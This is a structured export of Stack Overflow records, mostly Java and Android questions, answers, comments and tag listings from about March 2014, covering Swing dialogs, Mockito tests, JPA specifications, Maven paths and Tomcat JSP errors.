has body: Why this code do not stop when the while loop is empty. If I add an instruction the code work fine. Normally after the the user clicked an button the test variable will be changed so the loop will ends. Is there another way to test that the JDialog was disposed. public class FenetreAjoutClass extends JDialog { private JPanel pan = new JPanel(); private JPanel buttPan = new JPanel(); private JTextField schoolLevl = new JTextField(); private JButton valide = new JButton("OK"); private static String infos = null; private static boolean test = false; private JButton cancel = new JButton("CANCEL"); FenetreAjoutClass(JFrame parent, Boolean modal) { valide.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { infos = schoolLevl.getText(); test = true; dispose(); } }); cancel.addActionListener(new ActionListener() { @Override public void actionPerformed(ActionEvent e) { test = true; dispose(); } }); this.setLocationRelativeTo(null); this.setResizable(true); this.setLayout(new BorderLayout()); pan.setLayout(new GridLayout(1, 1)); pan.add(schoolLevl); this.add(pan, BorderLayout.NORTH); buttPan.add(valide); buttPan.add(cancel); this.add(buttPan, BorderLayout.SOUTH); pack(); setVisible(true); } public static void main(String[] args) { System.out.println(get()); } public static String get() { new FenetreAjoutClass(null, false); while (!test) { //System.out.println(test); } return infos; } }
upvote count: 1
type: Question
has comment: http://stackoverflow.com/comment/33827289
linked to: http://stackoverflow.com/q/25425130
answer count: 1
downvote count: 0

http://stackoverflow.com/comment/34184814
score: 2
type: Comment
has text: app is the struct variable comes as a parameter to android_main like the following. void android_main(struct android_app* app)
comment on: http://stackoverflow.com/a/22436147
type: AnswerComment

search
tags question: http://stackoverflow.com/q/22181797
tags question: http://stackoverflow.com/q/22262320
tags question: http://stackoverflow.com/q/22286421
type: Tag
tags question: http://stackoverflow.com/q/22299075
tags question: http://stackoverflow.com/q/22207248
tags question: http://stackoverflow.com/q/22176704
tags question: http://stackoverflow.com/q/22171666
tags question: http://stackoverflow.com/q/22213187
tags question: http://stackoverflow.com/q/22279527
tag name: search

http://stackoverflow.com/comment/33667963
comment on: http://stackoverflow.com/q/22180294
score: 0
type: Comment
has text: You need to call `super.onResume()` from `onResume()`. Also, try moving the line that sets `myTextView` to `onCreate()` of the `Activity`.
type: QuestionComment

http://stackoverflow.com/comment/33675714
type: Comment
has text: Agreed, but we can't do assumption about a code that we don't see, so everything is possible, and thus to be closer to the OP is the good way.
score: 0
comment on: http://stackoverflow.com/a/22185245
type: AnswerComment

http://stackoverflow.com/a/22187782
type: Answer
has comment: http://stackoverflow.com/comment/33682952
answers question: http://stackoverflow.com/q/22187650
has body: Something could be wrong in here with input Scanner inputInt = new Scanner(System.in); int input = inputInt.nextInt();
has comment: http://stackoverflow.com/comment/33681723
has comment: http://stackoverflow.com/comment/33679768
has comment: http://stackoverflow.com/comment/33679740
has comment: http://stackoverflow.com/comment/33682556
has comment: http://stackoverflow.com/comment/33681246
has comment: http://stackoverflow.com/comment/33682153
has comment: http://stackoverflow.com/comment/33680431
has comment: http://stackoverflow.com/comment/33683459
has comment: http://stackoverflow.com/comment/33681771
has comment: http://stackoverflow.com/comment/33679888
has comment: http://stackoverflow.com/comment/33679971
has comment: http://stackoverflow.com/comment/33680815
score: 0
has comment: http://stackoverflow.com/comment/33679937
has comment: http://stackoverflow.com/comment/33682752
has comment: http://stackoverflow.com/comment/33683509
has comment: http://stackoverflow.com/comment/33683551

http://stackoverflow.com/comment/33726819
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/22213766
has text: @aliteralmind it is initlised, I just didn't add the long code where i add all the data
score: 1

http://stackoverflow.com/comment/33865083
comment on: http://stackoverflow.com/q/22290169
type: QuestionComment
score: 1
has text: Think about it! If your command line is 5 items long, 4 of those need to go into your array. So your array needs to be 4 elements long. An array of 4 elements would be addressed 0..3.
type: Comment

http://stackoverflow.com/q/22312013
linked to: http://stackoverflow.com/q/17958552
has comment: http://stackoverflow.com/comment/33904084
tagged with: java
tagged with: eclipse
has comment: http://stackoverflow.com/comment/33904628
type: Question
has title: How do I show complete calculation in textview?
has answer: http://stackoverflow.com/a/22312603
upvote count: 0
score: -2
answer count: 1
has comment: http://stackoverflow.com/comment/33904529
tagged with: textview
has comment: http://stackoverflow.com/comment/33904378
favorite count: 0
has body: How do I show complete calculation in textview using parenthesis? For example: 2+3-((4/2)*9) I am making calculator app which uses parenthesis and remember calculations history and should display all math operation in textview. Here is my code: package com.example.calculater; import android.app.Activity; import android.os.Bundle; import android.view.Menu; import android.view.View; import android.view.View.OnClickListener; import android.widget.Button; import android.widget.TextView; public class MainActivity extends Activity implements OnClickListener { TextView textdisplay; @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_main); textdisplay = (TextView) findViewById(R.id.editText1); Button b1 = (Button) findViewById(R.id.btn1); Button b2 = (Button) findViewById(R.id.btn2); Button b3 = (Button) findViewById(R.id.btn3); Button b4 = (Button) findViewById(R.id.btn4); Button b5 = (Button) findViewById(R.id.btn5); Button b6 = (Button) findViewById(R.id.btn6); Button b7 = (Button) findViewById(R.id.btn7); Button b8 = (Button) findViewById(R.id.btn8); Button b9 = (Button) findViewById(R.id.btn9); Button b0 = (Button) findViewById(R.id.btn0); Button multiply1 = (Button) findViewById(R.id.multiply); Button divide1 = (Button) findViewById(R.id.divide); Button plus1 = (Button) findViewById(R.id.plus); Button minus1 = (Button) findViewById(R.id.minus); Button equal1 = (Button) findViewById(R.id.equal); Button clear1 = (Button) findViewById(R.id.clear); Button back1 = (Button) findViewById(R.id.backspace); Button dot1 = (Button) findViewById(R.id.decimal); Button plusminus1 = (Button) findViewById(R.id.plusminus); Button history1= (Button) findViewById(R.id.history); Button open1 = (Button) findViewById(R.id.open); Button close1 = (Button) findViewById(R.id.close); b1.setOnClickListener(this); b2.setOnClickListener(this); b3.setOnClickListener(this); b4.setOnClickListener(this); b5.setOnClickListe…
type: UnansweredQuestion
downvote count: 2
tagged with: android
has comment: http://stackoverflow.com/comment/33904746

http://stackoverflow.com/comment/33922662
score: 1
type: Comment
comment on: http://stackoverflow.com/q/22322796
type: QuestionComment
has text: possible duplicate of [What is a Null Pointer Exception?](http://stackoverflow.com/questions/218384/what-is-a-null-pointer-exception)

http://stackoverflow.com/comment/33823253
has text: I think you should escape also the single quote: `WebElement device = driver.findElement(By.xpath("//span[text() == \"Mark\'s Device\"]"));`
type: AnswerComment
comment on: http://stackoverflow.com/a/22184538
score: 0
type: Comment

http://stackoverflow.com/a/22227650
type: AcceptedAnswer
upvote count: 9
has body: This code seems to do the trick. If I add a method to Foo and do not include it in FooWrapper, the test fails. FooWrapper wrapper = new FooWrapper(delegate); Foo delegate = Mockito.mock(Foo.class); // For each method in the Foo class... for (Method fooMethod : Foo.class.getDeclaredMethods()) { boolean methodCalled = false; // Find matching method in wrapper class and call it for (Method wrapperMethod : FooWrapper.class.getDeclaredMethods()) { if (fooMethod.getName().equals(wrapperMethod.getName())) { // Get parameters for method Class&lt;?&gt;[] parameterTypes = wrapperMethod.getParameterTypes(); Object[] arguments = new Object[parameterTypes.length]; for (int j = 0; j &lt; arguments.length; j++) { arguments[j] = Mockito.mock(parameterTypes[j]); } // Invoke wrapper method wrapperMethod.invoke(wrapper, arguments); // Ensure method was called on delegate exactly once with the correct arguments fooMethod.invoke(Mockito.verify(delegate, Mockito.times(1)), arguments); // Set flag to indicate that this foo method is wrapped properly. methodCalled = true; } } assertTrue("Foo method '" + fooMethod.getName() + "' has not been wrapped correctly in Foo wrapper", methodCalled); } The key line here which was missing in your code is fooMethod.invoke(Mockito.verify(delegate, Mockito.times(1)), arguments); It might look a little odd, but this works because it invokes things in the same order Mockito expects: first Mockito.verify(delegate) is called (which internally starts the Mockito verification), then the method is invoked. A similar non-reflection invocation would look like Mockito.verify(delegate).foo(). Use this 'why' to help adapt the code to different use cases without breaking how the test does verification. One word of caution, I would add a check at the beginning of each of your loops which iterate over the result of getDeclaredMethods(). This method returns all methods whether they are public, private, protected etc. Attempting to access an inaccessible method throws an…
type: Answer
answers question: http://stackoverflow.com/q/22225663
downvote count: 0
accepted answer of: http://stackoverflow.com/q/22225663
score: 9
has comment: http://stackoverflow.com/comment/33751013
has comment: http://stackoverflow.com/comment/33840090

http://stackoverflow.com/q/22263218
linked to: http://stackoverflow.com/q/22211381
tagged with: java
has title: Java Manifest is not designating the entry point that I'm giving it
has body: Manifest.txt location: /Dropbox/workspace/commonDenom/bin Class location: /Dropbox/workspace/commonDenom/bin/commonDenom/ Class names: commonDenom.class UserInterface.class Manifest.txt content (with two trailing blank lines): Main-Class: commonDenom.UserInterface (blank line) (blank line) Then in terminal I perform the following: cd /Dropbox/workspace/commonDenom/bin jar cfm commondDenom.jar Mainfest.txt * jar tf commonDenom.jar The output is as follows: META-INF/ META-INF/MANIFEST.MF Manifest.txt commonDenom/ commonDenom/.DS_Store commonDenom/commonDenom.class commonDenom/UserInterface.class Why isn't commonDenom/UserInterface.class the first line if that's the one I've designated as the Main-Class in the manifest? Is something wrong with the syntax of Manifest.txt?
upvote count: 0
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22263581
tagged with: manifest
tagged with: entry-point
favorite count: 0
score: -1
type: Question
has comment: http://stackoverflow.com/comment/33817115
answer count: 1
downvote count: 1

import
type: Tag
tags question: http://stackoverflow.com/q/22238222
tag name: import
tags question: http://stackoverflow.com/q/22172235
tags question: http://stackoverflow.com/q/22230373
tags question: http://stackoverflow.com/q/22259121
tags question: http://stackoverflow.com/q/22249745
tags question: http://stackoverflow.com/q/22300057
tags question: http://stackoverflow.com/q/22267839
tags question: http://stackoverflow.com/q/22190518
tags question: http://stackoverflow.com/q/22170880
tags question: http://stackoverflow.com/q/22248277
tags question: http://stackoverflow.com/q/22181028

http://stackoverflow.com/q/22315829
downvote count: 0
has answer: http://stackoverflow.com/a/22315851
favorite count: 0
upvote count: 1
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/22315851
score: 1
tagged with: java
tagged with: collision-detection
linked to: http://stackoverflow.com/q/14574045
linked to: http://stackoverflow.com/q/20927189
tagged with: draw
type: Question
has body: I am trying to implement a collision detection system between different objects. I got the idea of using Area for the purpose of collision detection from this question. This isn't quite working on my program like it did in the answer and I am getting collisions between two objects before they should collide and they stop before they should stop. I am not sure which Area is off, either the left object's area is over to the right, or the right object's area is over to the left, or a mix of both. I'm having trouble finding a way to get the areas on the screen visually so I can see where they are. Graphics does not support a drawArea(); or anything. I created the Areas from existing Geom objects: private Ellipse2D collisionCircle = new Ellipse2D.Double(0,0,0,0); private Area collisionArea; // later inside the update() method collisionCircle.setFrame(posX - 61, posY - 61, 122, 122); collisionArea = new Area(collisionCircle); I use the same technique for the other object: private Rectangle collisionRect = new Rectangle(0,0,0,0); private Area collisionArea; // later in the update() method collisionRect.setRect(posX - 61, posY - 61, 122, 122); collisionArea = new Area(collisionRect); In the main game section I've used the same collision method from the previously mentioned question. The result The objects that the area is made from (the rectangle and the ellipse) are both drawn to the screen with a 1 pixel border and can clearly be seen. They begin colliding (according to this method) way before they should, and stop while they should still be colliding. I want to be able to visually represent the Area objects, not the geometirc objects so I can trouble shoot this. Can this be done?
answer count: 1
tagged with: awt
tagged with: area
has title: Can you draw Area objects with Graphics g?

http://stackoverflow.com/q/22171822
tagged with: spring-data
has body: We can select specific columns by writing custom @Query methods in our Repository Interface. However, I don't want to write so many methods for different properties. I tried this, but it returns the entire object all the time. public class MySpecifications { public static Specification&lt;MyInfo&gt; propertiesWithId(final String[] properties, final Object id, final String idProperty) { return new Specification&lt;MyInfo&gt;() { @Override public Predicate toPredicate(Root&lt;MyInfo&gt; root, CriteriaQuery&lt;?&gt; query, CriteriaBuilder cb) { query = cb.createTupleQuery(); //tried cb.createQuery(MyInfo.class); as well List&lt;Selection&lt;? extends Object&gt;&gt; selectionList = new ArrayList&lt;Selection&lt;? extends Object&gt;&gt;(); for (String property : properties) { Selection&lt;? extends Object&gt; selection = root.get(property); selectionList.add(selection); } return query.multiselect(selectionList).where(cb.equal(root.get(idProperty), id)).getRestriction(); } }; } } used as: MyInfo findOne(Specification(properties,idValue, idProperty)); Is this the correct way? Where is the mistake?
has answer: http://stackoverflow.com/a/71778090
type: Question
score: 21
has comment: http://stackoverflow.com/comment/100819624
tagged with: spring-data-jpa
upvote count: 21
tagged with: jpa
downvote count: 0
has title: Spring Data JPA Specification to Select Specific Columns
favorite count: 0
has answer: http://stackoverflow.com/a/22220594
answer count: 5
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/18300465
has answer: http://stackoverflow.com/a/58739494
has answer: http://stackoverflow.com/a/78602582
tagged with: spring
has answer: http://stackoverflow.com/a/31543601
tagged with: java

font-size
tags question: http://stackoverflow.com/q/22244243
type: Tag
tag name: font-size

http://stackoverflow.com/q/22229171
score: 6
has body: How do you throw more than one exception at once from one method? Example: public void doA() throws Exception1, Exception2{ throw new Exception1("test1"); throw new Exception2("test2"); } How to make something like this work? Edit : one condition throws both Exception1 and Exception2. Possible? This is just a demo file to test throwing exceptions.
has answer: http://stackoverflow.com/a/22229476
has answer: http://stackoverflow.com/a/22229295
tagged with: throw
favorite count: 0
has comment: http://stackoverflow.com/comment/33753261
has title: Throwing multiple exceptions from one method
answer count: 5
tagged with: exception
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/22229382
has answer: http://stackoverflow.com/a/22229766
has answer: http://stackoverflow.com/a/22229201
tagged with: java
downvote count: 3
type: Question
upvote count: 9

http://stackoverflow.com/comment/33931909
type: QuestionComment
has text: I will add more if my code will work.
comment on: http://stackoverflow.com/q/22327979
score: 0
type: Comment

http://stackoverflow.com/a/22299458
upvote count: 3
answers question: http://stackoverflow.com/q/22299358
score: 3
downvote count: 0
has body: Static methods In case of static methods you'd have to provide the class to the call anyways (they are class methods, not instance methods) and thus there'd be no hiding, e.g. A.m(); //call static method on class A (btw, Java convention is that class names start with a capital case letter) B.m(); Instance methods Instance methods can't hide others, just override them, e.g. if B extends A, whenever you call m() on an instance of B, then the B version of m() would be called. Interfaces In case of interfaces you'd implement a method once even if it is declared in multiple interfaces. As of Java 8 where there might be default implementations of interface methods and IIRC a concrete implementation would override the default implementation whereas two default implementations interfaces I and J would generate a compile time error (unless one interface is more specific, e.g. if J extended I.
type: Answer

http://stackoverflow.com/comment/33824366
comment on: http://stackoverflow.com/q/22267919
has text: see this question here: http://stackoverflow.com/questions/2113216/which-is-more-efficient-a-for-each-loop-or-an-iterator
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/33726262
score: 1
type: AnswerComment
comment on: http://stackoverflow.com/a/22213526
type: Comment
has text: You need to call the getter, i.e. `item.getName()` (use `()`).

http://stackoverflow.com/q/22303203
tagged with: swing
linked to: http://stackoverflow.com/q/12008100
tagged with: joptionpane
has comment: http://stackoverflow.com/comment/33889061
tagged with: fonts
tagged with: java
has title: How to change font with showconfirmdialog?
type: Question
linked to: http://stackoverflow.com/q/12724686
has comment: http://stackoverflow.com/comment/33887967
score: 0
answer count: 1
has body: I have tried many different tutorials and none have worked this is what I have. Any help? UIManager.put("OptionPane.font", new FontUIResource(new Font("Press Start 2P", Font.PLAIN, 11))); if (questionNumber == questions.size()) { triviagui.questionFrame.setVisible(false); JOptionPane.showMessageDialog(null, "Your score for this level was : " + levelScore + " out of 10. \n Your total score is " + triviagui.totalScore, "Scores", JOptionPane.INFORMATION_MESSAGE, pokeballIcon); }
has answer: http://stackoverflow.com/a/22303325
type: UnansweredQuestion

http://stackoverflow.com/a/47515374
type: Answer
answers question: http://stackoverflow.com/q/22276168
has body: You can use jsonschema2pojo online POJO generator to generate a POJO class from a JSON document or JSON schema with the help of GSON library. In the 'Annotation style' section, choose GSON. Once the zip file is created, extract it and add all the classes to your classpath. Note: you will need to add GSON jars to your project.
score: 0

http://stackoverflow.com/comment/33844528
has text: wow, okay. about to change width in my booleans to width*.5 and I Think that will help a lot.
score: 0
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/22278988

http://stackoverflow.com/q/22224341
has comment: http://stackoverflow.com/comment/33744695
possible better answer: http://stackoverflow.com/a/22225065
tagged with: http://stackoverflow.com/tag/html
accepted answer: http://stackoverflow.com/a/22224453
has title: Tomcat 500 error with JSP page - the only JSP contents is if/else
has body: i hope everyone is well. I come from a PHP background and recently I have had to do some work on a project based on Java - I then found out about JSP pages which was quite similar to PHP. I have tried to make a page which has a "String" variable declared, which is called account. I then check if the account is an administrator, if so they can see the admin menus. However, it works fine for me in firefox and chrome, but customers using the same browser are seeing a 500 error. Please see details below from the logs, i have no idea what it means but i do know a simple if statement shouldn't cause it (stupid language). Mar 06, 2014 8:51:59 AM org.apache.catalina.core.StandardWrapperValve invoke SEVERE: Servlet.service() for servlet [jsp] in context with path [/test] threw exception [An exception occurred processing JSP page /test.jsp at line 126 123: 124: 125: <% 126: if (account.equals("sysadmin")) { %> 127: 128: AssetTrack 129: Stacktrace:] with root cause java.lang.NullPointerException at org.apache.jsp.test_jsp._jspService(test_jsp.java:203) at org.apache.jasper.runtime.HttpJspBase.service(HttpJspBase.java:70) at javax.servlet.http.HttpServlet.service(HttpServlet.java:728) at org.apache.jasper.servlet.JspServletWrapper.service(JspServletWrapper.java:432) at org.apache.jasper.servlet.JspServlet.serviceJspFile(JspServlet.java:390) at org.apache.jasper.servlet.JspServlet.service(JspServlet.java:334) at javax.servlet.http.HttpServlet.service(HttpServlet.java:728) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:305) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) at org.apache.tomcat.websocket.server.WsFilter.doFilter(WsFilter.java:52) at org.apache.catalina.core.ApplicationFilterChain.internalDoFilter(ApplicationFilterChain.java:243) at org.apache.catalina.core.ApplicationFilterChain.doFilter(ApplicationFilterChain.java:210) at org.apache.catalina.core.StandardWrapperValve.invok…
tagged with: java
has answer: http://stackoverflow.com/a/22225561
tagged with: http
type: Question
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/22224453
score: 0
answer count: 3
tagged with: jsp
has answer: http://stackoverflow.com/a/22225065
tagged with: tomcat

http://stackoverflow.com/q/22196628
has title: Opening Help writings log in Application console
type: UnansweredQuestion
has body: I created one RCP application, in that application I'm including help module. When I open help then in my application console lots of log is writing by help. See the below image for more details: Is there is any way to hide these logs from console. what I'm missing?
tagged with: java
has answer: http://stackoverflow.com/a/22260923
tagged with: eclipse
type: Question
score: 0
answer count: 1
tagged with: eclipse-plugin
tagged with: eclipse-rcp
tagged with: eclipse-kepler

http://stackoverflow.com/comment/33868410
score: 0
comment on: http://stackoverflow.com/q/22291968
has text: I post the json response in my post. please check out and anybod help me.
type: Comment
type: QuestionComment

http://stackoverflow.com/a/22174228
type: Answer
score: 2
has body: The code, it does nothing! int a = new &lt;String&gt;Integer(5); It also compiles but generates a warning of "unused generics". So basically it is useless but not bad enough to generate an error by default it seems. Either way your arraylist is NOT properly generified here. Please note that generics are compiled away anyway so at the bytecode level it probably won't look any different. I have looked in eclipse for a way to turn this into an error instead of warning but no luck there. UPDATE This answer boils down to the same as the other one which is currently at +5, so why is mine downvoted? Please leave a comment if you downvote.
answers question: http://stackoverflow.com/q/22174022
upvote count: 3
downvote count: 1
has comment: http://stackoverflow.com/comment/40527107

cryptography
tag name: cryptography
tags question: http://stackoverflow.com/q/22214966
type: Tag
tags question: http://stackoverflow.com/q/22202771
tags question: http://stackoverflow.com/q/22284672
tags question: http://stackoverflow.com/q/22191485
tags question: http://stackoverflow.com/q/22298389
tags question: http://stackoverflow.com/q/22276976
tags question: http://stackoverflow.com/q/22321530
tags question: http://stackoverflow.com/q/22282440
tags question: http://stackoverflow.com/q/22271311
tags question: http://stackoverflow.com/q/22287795

http://stackoverflow.com/a/22188140
has comment: http://stackoverflow.com/comment/33680406
answers question: http://stackoverflow.com/q/22188096
score: 4
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/33680637
has body: I think you are looking at JRE type javac -version in your command line
type: Answer
has comment: http://stackoverflow.com/comment/33680456

http://stackoverflow.com/a/22184787
type: Answer
answers question: http://stackoverflow.com/q/22184276
score: 0
type: AcceptedAnswer
has body: Recursive methods are usually used for searching. This is a depth first search for the exit. Returns true if exit is found. public boolean searchForExit(Location myLocation){ if(location.isFinish()){ location.setSolutionPath(true); return true; } location.setVisited(true); for(Location location : location.getNeighbours()){ if(!location.isVisited()){ if (searchForExit(location)){ location.setSolutionPath(true); return true; } } } return false; }
accepted answer of: http://stackoverflow.com/q/22184276

http://stackoverflow.com/q/22313714
answer count: 4
type: AnsweredQuestion
tagged with: android-fragments
has comment: http://stackoverflow.com/comment/33907173
tagged with: java
type: Question
has comment: http://stackoverflow.com/comment/33907212
accepted answer: http://stackoverflow.com/a/22313900
has body: First going to say that I know there are a lot of similar posts to this, and I have seen them, however I am new to android development and am not yet familiar enough with it to modify those other answers to fix my exact problem. I have a fragment that was created by default with a new project that contains a button and text view, and in my MainActivity.java i've made an onClick function for the button. This function throws the NPE. Here's the LogCat: 03-10 19:26:52.620: D/AndroidRuntime(878): Shutting down VM 03-10 19:26:52.620: W/dalvikvm(878): threadid=1: thread exiting with uncaught exception (group=0xb2af2ba8) 03-10 19:26:52.630: E/AndroidRuntime(878): FATAL EXCEPTION: main 03-10 19:26:52.630: E/AndroidRuntime(878): Process: com.example.main, PID: 878 03-10 19:26:52.630: E/AndroidRuntime(878): java.lang.RuntimeException: Unable to start activity ComponentInfo{com.example.main/com.example.main.MainActivity}: java.lang.NullPointerException 03-10 19:26:52.630: E/AndroidRuntime(878): at android.app.ActivityThread.performLaunchActivity(ActivityThread.java:2195) 03-10 19:26:52.630: E/AndroidRuntime(878): at android.app.ActivityThread.handleLaunchActivity(ActivityThread.java:2245) 03-10 19:26:52.630: E/AndroidRuntime(878): at android.app.ActivityThread.access$800(ActivityThread.java:135) 03-10 19:26:52.630: E/AndroidRuntime(878): at android.app.ActivityThread$H.handleMessage(ActivityThread.java:1196) 03-10 19:26:52.630: E/AndroidRuntime(878): at android.os.Handler.dispatchMessage(Handler.java:102) 03-10 19:26:52.630: E/AndroidRuntime(878): at android.os.Looper.loop(Looper.java:136) 03-10 19:26:52.630: E/AndroidRuntime(878): at android.app.ActivityThread.main(ActivityThread.java:5017) 03-10 19:26:52.630: E/AndroidRuntime(878): at java.lang.reflect.Method.invokeNative(Native Method) 03-10 19:26:52.630: E/AndroidRuntime(878): at java.lang.reflect.Method.invoke(Method.java:515) 03-10 19:26:52.630: E/AndroidRuntime(878): at com.android.internal.os.ZygoteInit$MethodAndArgsCa…
score: 0
tagged with: nullpointerexception
has answer: http://stackoverflow.com/a/22313927
has answer: http://stackoverflow.com/a/22313791
has title: Android Fragment causes NullPointerException
tagged with: android
has answer: http://stackoverflow.com/a/22313779
has answer: http://stackoverflow.com/a/22313900
tagged with: fragment
possible better answer: http://stackoverflow.com/a/22313791

http://stackoverflow.com/a/22239444
score: 1
type: AcceptedAnswer
downvote count: 0
type: Answer
accepted answer of: http://stackoverflow.com/q/22239346
upvote count: 1
has body: There is a java.c (source package openjdk-6-src-b27-26_oct_2012.tar.gz). It's in jdk/src/share/bin/java.c. According to the code comments, it is the Shared source for 'java' command line tool.
answers question: http://stackoverflow.com/q/22239346

http://stackoverflow.com/a/22189858
answers question: http://stackoverflow.com/q/22172115
type: AcceptedAnswer
type: Answer
accepted answer of: http://stackoverflow.com/q/22172115
has comment: http://stackoverflow.com/comment/35548926
upvote count: 2
score: 1
downvote count: 1
has body: In server.xml inside servers folders it will add a entry for every war you added.Delete those entries. Then create the xml files which have the following content and name the xml files in order inside the conf\Catalina{server_name} folder. Example : coll.xml <?xml version='1.0' encoding='utf-8'?>

http://stackoverflow.com/comment/33733942
score: 0
type: AnswerComment
type: Comment
has text: okay, all clear, marking your answer as correct since it had most of useful information :) thanks.
comment on: http://stackoverflow.com/a/22217995

http://stackoverflow.com/q/22254533
tagged with: java
has comment: http://stackoverflow.com/comment/33812138
accepted answer: http://stackoverflow.com/a/22261100
has body: I'm trying to build a new gwt-project (also using maven and spring). My project structure is: - ... directory myapp.admin-webapp -- src/main/java --- com.myapp.admin.webapp.client AdminEntryPoint.java --- com.myapp.admin.webapp.client.presenter --- com.myapp.admin.webapp.client.view -- src/main/recources --- com.myapp.admin webapp.gwt.xml --- spring myapp.beans.xml -- src/main/webapp myapp-admin.html myapp-admin.css --- js --- META-INF --- resources --- WEB-INF applicationContext.xml web.xml web.xml file: <?xml version="1.0" encoding="UTF-8"?> myapp-admin.html org.springframework.web.context.ContextLoaderListener org.springframework.web.context.request.RequestContextListener characterEncodingFilter org.springframework.web.filter.CharacterEncodingFilter encoding UTF-8 forceEncoding true characterEncodingFilter /* webapp.gwt.xml: <?xml version="1.0" encoding="UTF-8"?> <inherits name='com.google.gwt.user.User'/> <entry-point class='myapp.admin.webapp.client.AdminEntryPoint'/> My simple entry point: public class AdminEntryPoint implements EntryPoint { @Override public void onModuleLoad() { GWT.log("Hello World!", null); Label label = new Label("Entry Point!"); label.setStyleName("label"); RootPanel.get().add(label); } } And my basically empty app context: <?xml version="1.0" encoding="UTF-8"?> <beans xmlns="http://www.springframework.org/schema/beans" xmlns:context="http://www.springframework.org/schema/context" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans-3.1.xsd http://www.springframework.org/schema/context http://www.springframework.org/schema/context/spring-context-3.1.xsd"> <context:annotation-config /> </beans> When I try to start my application (IDE Eclipse), it seems that there is no problem. I can start my app with the "development mode" and the welcome-page is loaded, but with no entry point. When I try to debug my application (set …
type: Question
tagged with: gwt
has answer: http://stackoverflow.com/a/22261100
score: 0
answer count: 1
tagged with: gwt-mvp
tagged with: mvp
tagged with: google-app-engine
has title: GWT Maven Application Entry Point not loaded
type: AnsweredQuestion

http://stackoverflow.com/comment/33868407
score: 0
type: Comment
type: QuestionComment
has text: possible duplicate of [What is the reason behind "non-static method cannot be referenced from a static context"?](http://stackoverflow.com/questions/290884/what-is-the-reason-behind-non-static-method-cannot-be-referenced-from-a-static)
comment on: http://stackoverflow.com/q/22292201

http://stackoverflow.com/a/22263873
has comment: http://stackoverflow.com/comment/33850414
has body: I guess you are asking a few different questions: How to send a result back from Activity B to A? Use setResult method before invoking finish in the B activity to provide the returning code and intent. How to send result from a Fragmantto Activity A? Use getActivity() method to obtain a handle on the parent Activity (in your example B) and then follow the point 1 How to send anything from a static class to a dynamic object in Android This is simply not possible. Using static classes is not the best OOD ;-) Hope this helps
accepted answer of: http://stackoverflow.com/q/22263639
has comment: http://stackoverflow.com/comment/33828414
score: 0
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/33826410
answers question: http://stackoverflow.com/q/22263639
type: Answer

http://stackoverflow.com/comment/52050240
has text: @MicahStairs sure they can, but that does not seem what HovercraftFullOfEels meant
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/22186800

http://stackoverflow.com/q/22264209
score: 1
tagged with: java
tagged with: hibernate
has answer: http://stackoverflow.com/a/22266434
downvote count: 1
type: Question
has title: Is it a good convention to define save method inside hibernate/jpa entity class?
tagged with: jpa
answer count: 1
accepted answer: http://stackoverflow.com/a/22266434
favorite count: 0
upvote count: 2
has body: I have a hibernate entity/model class as given below class User{ private Integer id, Private String name, private String description //getters and setters public void Save(this){ } } Is it a good convention to define save method inside this class declaration along with setters and getters? Do we have any benefit of using like this such as avoiding duplicate records?
type: AnsweredQuestion

http://stackoverflow.com/q/22222815
answer count: 5
has answer: http://stackoverflow.com/a/22222910
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/33742014
has answer: http://stackoverflow.com/a/36267061
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/22222870
type: Question
has answer: http://stackoverflow.com/a/63918463
tagged with: java
has comment: http://stackoverflow.com/comment/33741851
score: 0
has answer: http://stackoverflow.com/a/22222995
has body: I have problem with MAVEN path i have already set all the path but not working please see the below path Path ....;C:\Program Files\Java\jdk1.6.0_20\bin;D:\apache-maven-3.2.1\bin JAVA_HOME C:\Program Files\Java\jdk1.6.0_20 MAVEN_HOME D:\apache-maven-3.2.1 When i try to run mvn --version it will give error of JAVA_HOME please see the error Error: JAVA_HOME is set to an invalid directory. JAVA_HOME = "C:\Program Files\Java\jdk1.6.0_20\bin" Please set the JAVA_HOME variable in your environment to match the location of your Java installation. But javac is working fine
tagged with: maven-3
favorite count: 0
has title: mvn --version not working?

http://stackoverflow.com/a/22294206
type: Answer
has comment: http://stackoverflow.com/comment/33871754
has body: Use query.scroll() insteand of query.list() to get the results of your query. This will avoid loading the whole result set into memory.
score: 1
upvote count: 1
has comment: http://stackoverflow.com/comment/34011559
has comment: http://stackoverflow.com/comment/33871838
downvote count: 0
answers question: http://stackoverflow.com/q/22294100

http://stackoverflow.com/q/22222265
favorite count: 0
has answer: http://stackoverflow.com/a/38380254
upvote count: 2
tagged with: android
has answer: http://stackoverflow.com/a/22222392
has title: How to pass a value/variable from an android java class to javascript/.html file in android 4.4.2 kitkat
type: AnsweredQuestion
tagged with: java
type: Question
has body: I need to pass a value/variable (e.g. integer, string) from my java class to the .html file inside android assets. Let's say it is an integer value based on the user's click. I need to pass this integer to the .html file(scripts) so as to determine which ajax call is to be made (via an if-else loop). I googled everywhere but I couldn't find an answer to this. I need to achieve this on android 4.4.2. Thanks in advance.
accepted answer: http://stackoverflow.com/a/22222392
tagged with: javascript
answer count: 2
score: 2
downvote count: 0
possible better answer: http://stackoverflow.com/a/38380254

http://stackoverflow.com/a/22172182
